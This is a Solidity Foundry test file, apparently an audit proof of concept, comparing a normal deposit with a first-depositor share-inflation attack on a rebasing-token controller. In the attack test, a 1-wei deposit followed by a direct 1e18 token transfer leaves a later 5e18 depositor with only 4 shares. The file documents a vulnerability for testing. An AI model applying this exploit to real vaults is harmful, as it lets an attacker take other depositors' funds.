downscaling-issue.sol

contract SideDeposit is Test {
    address alice = address(0x01);
    address bob = address(0x02);
    address charlie = address(0x03);

    ERC20SnapshotRebase public snapshotRebase;
    DummyERC20 public underlying;
    Controller public controller;
    EigenSharePricer public sharePricer;

    function setUp() public {
        underlying = new DummyERC20("dummyUnderlying", "DU");

        snapshotRebase = new ERC20SnapshotRebase();
        controller = new Controller(underlying, snapshotRebase);
        sharePricer = new EigenSharePricer(controller, snapshotRebase);

        IBaseERC20.ERC20Config memory config;
        config.name = "snapshotRebase";
        config.symbol = "SR";

        IBaseERC20.Features memory features;
        features.mintable = true;
        features.pausable = true;
        features.initialSupply = 0;
        features.initialSupplyHolder = address(0);
        features.allowControlled = true;

        IBaseERC20.Roles memory roles;
        roles.admin = address(this);

        snapshotRebase.initialize(config, features, roles, address(sharePricer));
        snapshotRebase.grantRole(
            snapshotRebase.CONTROLLER_ROLE(),
            address(controller)
        );
        snapshotRebase.grantRole(
            snapshotRebase.MINTER_ROLE(),
            address(controller)
        );        
        vm.label(address(snapshotRebase), "SNAPSHOTREBASE");
        vm.label(alice, "alice");
        vm.label(bob, "bob");
    }

    // Normal operation
    function test_normalDeposit() external {
        uint256 charlieDeposit = 1;
        uint256 bobDeposit = 5e18;

        // Give the starting balances to the actors
        deal(address(underlying), charlie, charlieDeposit);
        deal(address(underlying), bob, bobDeposit);

        // step 1: deposit a tiny amount the regular way
        vm.startPrank(charlie);
        underlying.approve(address(controller), type(uint256).max);
        assertEq(snapshotRebase.sharesOf(charlie), 0);
        controller.deposit(charlieDeposit);
        assertEq(snapshotRebase.sharesOf(charlie), 1);
        vm.stopPrank();

        // step 2: bob actor deposits
        vm.startPrank(bob);
        underlying.approve(address(controller), type(uint256).max);
        controller.deposit(bobDeposit);
        vm.stopPrank();

        assertEq(snapshotRebase.sharesOf(charlie), 1);
        assertEq(snapshotRebase.sharesOf(bob), 5000000000000000000);
    }

    // Attack sideloading the balance
    function test_attackDeposit() external {
        uint256 aliceInitialDeposit = 1;
        uint256 aliceSideloadTransfer = 1e18;
        uint256 bobDeposit = 5e18;

        // Give the starting balances to the actors
        deal(address(underlying), alice, aliceSideloadTransfer + aliceInitialDeposit);
        deal(address(underlying), bob, bobDeposit);

        // step 1: deposit a tiny amount the regular way
        vm.startPrank(alice);
        underlying.approve(address(controller), type(uint256).max);
        assertEq(snapshotRebase.sharesOf(alice), 0);
        controller.deposit(aliceInitialDeposit);
        assertEq(snapshotRebase.sharesOf(alice), 1);

        // step 2: sideload 
        underlying.transfer(address(controller), aliceSideloadTransfer);
        vm.stopPrank();

        // step 3: bob actor deposits
        vm.startPrank(bob);
        underlying.approve(address(controller), type(uint256).max);
        controller.deposit(bobDeposit);
        vm.stopPrank();

        assertEq(snapshotRebase.sharesOf(alice), 1);
        // 
        assertEq(snapshotRebase.sharesOf(bob), 4);
    }
}